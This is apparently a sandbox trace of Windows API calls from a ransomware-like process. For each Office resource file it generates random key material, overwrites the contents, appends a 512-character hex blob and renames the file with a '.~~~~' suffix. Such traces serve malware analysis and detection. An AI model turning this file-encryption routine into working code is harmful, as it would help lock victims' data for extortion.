	[0132.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824088
	[0132.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824088 | out: hHeap=0x300000) returned 1
	[0132.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.944] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.944] GetLastError () returned 0x0
	[0132.944] GetLastError () returned 0x0
	[0132.944] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.944] GetLastError () returned 0x0
	[0132.944] GetLastError () returned 0x0
	[0132.955] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff8fb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.955] WriteFile (in: hFile=0x120, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x705, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x705, lpOverlapped=0x0) returned 1
	[0132.958] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0132.958] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.958] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.958] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.958] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.959] CloseHandle (hObject=0x120) returned 1
	[0132.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x28025c8
	[0132.964] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\premium.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Premium.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\premium.css.~~~~")) returned 1
	[0132.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28025c8 | out: hHeap=0x300000) returned 1
	[0132.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.966] GetLastError () returned 0x0
	[0132.967] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0132.968] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.968] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.968] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25295819055) returned 1
	[0132.968] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb8b3a8f0, dwHighDateTime=0x1d60e1e)) 
	[0132.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824130
	[0132.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824130 | out: hHeap=0x300000) returned 1
	[0132.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.969] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.969] GetLastError () returned 0x0
	[0132.969] GetLastError () returned 0x0
	[0132.969] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.969] GetLastError () returned 0x0
	[0132.970] GetLastError () returned 0x0
	[0132.973] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffcac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.973] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x354, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x354, lpOverlapped=0x0) returned 1
	[0132.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0132.975] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.975] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.975] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.975] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.975] CloseHandle (hObject=0x114) returned 1
	[0132.975] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0578
	[0132.975] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_italic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_italic.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_italic.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_italic.gif.~~~~")) returned 1
	[0132.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0578 | out: hHeap=0x300000) returned 1
	[0132.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.977] GetLastError () returned 0x0
	[0132.977] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0132.978] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.978] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.978] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25296841355) returned 1
	[0132.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb8b3a8f0, dwHighDateTime=0x1d60e1e)) 
	[0132.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824168
	[0132.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824168 | out: hHeap=0x300000) returned 1
	[0132.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.979] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.979] GetLastError () returned 0x0
	[0132.980] GetLastError () returned 0x0
	[0132.980] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.980] GetLastError () returned 0x0
	[0132.980] GetLastError () returned 0x0
	[0132.981] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffff60, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.981] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0xa0, lpOverlapped=0x0) returned 1
	[0132.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0132.984] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.984] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.984] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.984] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.984] CloseHandle (hObject=0x114) returned 1
	[0132.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0578
	[0132.984] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_spellcheck.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_spellcheck.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_spellcheck.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_spellcheck.gif.~~~~")) returned 1
	[0132.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0578 | out: hHeap=0x300000) returned 1
	[0132.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.986] GetLastError () returned 0x0
	[0132.986] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0132.987] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.987] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.988] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25297770348) returned 1
	[0132.988] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb8b60a50, dwHighDateTime=0x1d60e1e)) 
	[0132.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28241a0
	[0132.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28241a0 | out: hHeap=0x300000) returned 1
	[0132.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.989] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.989] GetLastError () returned 0x0
	[0132.989] GetLastError () returned 0x0
	[0132.989] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.989] GetLastError () returned 0x0
	[0132.989] GetLastError () returned 0x0
	[0132.992] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffca4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.992] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x35c, lpOverlapped=0x0) returned 1
	[0132.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0132.994] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.995] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.995] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.995] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.995] CloseHandle (hObject=0x114) returned 1
	[0132.995] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f1ec8
	[0132.995] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_underline.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_underline.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_underline.gif.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_underline.gif.~~~~")) returned 1
	[0132.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f1ec8 | out: hHeap=0x300000) returned 1
	[0132.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.997] GetLastError () returned 0x0
	[0132.997] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0133.141] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0133.141] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0133.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0133.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0133.141] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25313128690) returned 1
	[0133.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb8cdd810, dwHighDateTime=0x1d60e1e)) 
	[0133.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0133.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0133.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x2901380
	[0133.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809d48
	[0133.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.142] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809d48 | out: hHeap=0x300000) returned 1
	[0133.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.142] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0133.142] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0133.142] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0133.142] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0133.142] GetLastError () returned 0x0
	[0133.142] GetLastError () returned 0x0
	[0133.142] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0133.142] GetLastError () returned 0x0
	[0133.143] GetLastError () returned 0x0
	[0133.144] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffffe94, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.144] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x16c, lpOverlapped=0x0) returned 1
	[0133.145] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0133.145] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.146] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.146] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.146] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.146] CloseHandle (hObject=0x114) returned 1
	[0133.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0de8
	[0133.146] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate\\tab_off.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\TAB_OFF.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate\\tab_off.gif.~~~~")) returned 1
	[0133.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0de8 | out: hHeap=0x300000) returned 1
	[0133.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2901380 | out: hHeap=0x300000) returned 1
	[0133.147] GetLastError () returned 0x0
	[0133.148] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0133.149] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0133.149] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.149] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
